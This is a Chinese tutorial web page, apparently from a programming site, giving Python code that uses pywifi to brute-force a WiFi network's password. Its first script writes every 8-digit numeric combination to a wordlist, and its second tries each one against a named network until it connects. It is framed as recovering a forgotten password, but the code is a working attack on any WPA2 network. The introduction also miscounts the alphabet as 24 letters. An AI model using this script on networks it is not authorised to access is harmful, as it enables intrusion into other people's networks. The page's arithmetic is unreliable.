Python使用pywifi模塊實現(xiàn)輕松查看WIFI密碼
前言
原理上WiFi密碼都是可以破解的,只不過是時間問題,26*2字母(大小寫)+10數(shù)字+特殊的字符,就形成很多個密碼組合了,加上密碼本身的個數(shù)。你也可以使用多開,多線程的方式去加速破解的速度。
我們知道,小寫字母有24個,大寫字母也有24個,數(shù)字有10個。
所以,一共有 24 + 24 + 10 = 58 個可選的字符。
現(xiàn)在,我們要生成一個8位的密碼,每一位都可以是這58個字符中的任何一個。
所以,第一位有58種選擇,第二位也有58種選擇,以此類推,直到第8位。
總的組合數(shù)是 58 × 58 × 58 × 58 × 58 × 58 × 58 × 58。
這其實就是58的8次方。
計算結(jié)果為:128063081718016
wifi的密碼長度是8-16位,如果你不幸忘記了某個wifi的密碼,但是你大概知道密碼的一些構(gòu)成,也可以參考下面的腳本,來把密碼找出來。密碼三步走如下。
1.導(dǎo)入模塊
pip install pywifi
2.生成可能的密碼組合=8,就是8為數(shù)的密碼組合
import itertools as its
import datetime
#生成密碼+寫入密碼+記錄花費的時間
def generate_passwords(number):
# 記錄程序運行時間
start = datetime.datetime.now()
#words = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' # 大小寫字母 + 數(shù)字 組合
words = '0123456789' # 純數(shù)字
# 生成密碼的位數(shù)
passwords = its.product(words, repeat=number) #正常情況下熱點密碼位數(shù)為8
f = open("password.txt", 'a')
for password in passwords:
f.write(''.join(password))
f.write(''.join('\n'))
print(password)
f.close()
print('可能的密碼組合,生成好了')
end = datetime.datetime.now()
print("總共用時:{}".format(end - start))
generate_passwords(8)3.效驗密碼的正確性
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime
# 測試連接,返回鏈接結(jié)果
def wifi_connect(wifi_name,password):
# 抓取網(wǎng)卡接口
wifi = pywifi.PyWiFi()
# 獲取第一個無線網(wǎng)卡
ifaces = wifi.interfaces()[0]
# 斷開所有連接
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# 創(chuàng)建WiFi連接文件
profile = pywifi.Profile()
# 要連接WiFi的名稱
profile.ssid = wifi_name
# 網(wǎng)卡的開放狀態(tài)
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法,一般wifi加密算法為wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密單元
profile.cipher = const.CIPHER_TYPE_CCMP
# 調(diào)用密碼
profile.key = password
# 刪除所有連接過的wifi文件
ifaces.remove_all_network_profiles()
# 設(shè)定新的連接文件
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi連接時間
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi連接")
# 讀取密碼本
def find_correct_password(wiff_name):
print("開始破解:")
# 打開密碼本文件
file = open('password.txt', "r")
while True:
try:
#死循環(huán)讀取密碼和效驗密碼的正確
break_code = file.readline()
bool = wifi_connect(wiff_name,break_code)
if bool:
print("密碼已破解:", break_code)
print("WiFi已自動連接?。?!")
break
else:
# 跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
print("正在核對,這個密碼是否正確...: ", break_code)
except:
continue
if __name__ == '__main__':
start = datetime.datetime.now()
#要破解的wiff名稱
find_correct_password("Tenda_xxxxxx")
end = datetime.datetime.now()
print("本次破解WIFI密碼,時長為:{}".format(end - start))
到此這篇關(guān)于Python使用pywifi模塊實現(xiàn)輕松查看WIFI密碼的文章就介紹到這了,更多相關(guān)python pywifi查看wifi密碼內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
數(shù)據(jù)挖掘之Apriori算法詳解和Python實現(xiàn)代碼分享
這篇文章主要介紹了數(shù)據(jù)挖掘之Apriori算法詳解和Python實現(xiàn)代碼分享,本文先是對Apriori算法做了詳細(xì)介紹,然后給出了Python版實現(xiàn)代碼,需要的朋友可以參考下2014-11-11
python opencv鼠標(biāo)畫點之cv2.drawMarker()函數(shù)
這篇文章主要給大家介紹了關(guān)于python opencv鼠標(biāo)畫點之cv2.drawMarker()函數(shù)的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家學(xué)習(xí)或者使用opencv具有一定的參考下學(xué)習(xí)價值,需要的朋友可以參考下2021-10-10
Python 運行.py文件和交互式運行代碼的區(qū)別詳解
這篇文章主要介紹了Python 運行.py文件和交互式運行代碼的區(qū)別詳解,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-07-07
pandas DataFrame tail的使用小結(jié)
本文主要介紹了pandas DataFrame tail的使用小結(jié),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2025-05-05
Python循環(huán)語句之break與continue的用法
這篇文章主要介紹了Python循環(huán)語句之break與continue的用法,是Python入門學(xué)習(xí)中的基礎(chǔ)知識,需要的朋友可以參考下2015-10-10

